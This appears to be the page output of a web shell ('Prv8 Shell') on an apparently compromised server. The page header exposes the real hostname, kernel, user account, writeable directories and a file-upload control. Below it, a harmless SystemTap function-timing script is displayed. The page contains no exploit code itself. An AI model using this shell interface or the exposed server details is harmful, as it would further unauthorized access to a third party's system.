Prv8 Shell
Server : Apache
System : Linux server.mata-lashes.com 3.10.0-1160.90.1.el7.x86_64 #1 SMP Thu May 4 15:21:22 UTC 2023 x86_64
User : matalashes ( 1004)
PHP Version : 8.1.29
Disable Function : NONE
Directory :  /proc/17567/root/usr/share/systemtap/examples/profiling/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/17567/root/usr/share/systemtap/examples/profiling/fntimes.stp
#!/usr/bin/stap

# usage:   fntimes.stp FUNCTIONPROBE
# e.g.     fntimes.stp 'module("ext4").function("*")'

global mincount = 100      # training: beneath this number of hits, only collect data
global note_percent = 250  # percent beyond maximum-so-far to generate report for
function time() { return gettimeofday_us() }    # time measurement function

global times

function check(t)   # t: elapsed time
{
   if (@count(times[ppfunc()]) >= mincount
       && t >= @max(times[ppfunc()]) * note_percent / 100) {   # also consider @avg()
     printf("function %s well over %s time (%d vs %d), duration variance %d s^2\n",
            ppfunc(), "maximum", t, @max(times[ppfunc()]), @variance(times[ppfunc()], 3))
     # also consider: print_backtrace()
   }
   times[ppfunc()] <<< t  # (increments @count, updates @max)
}

probe $1.return { check(time()-@entry(time())) }

haha - 2025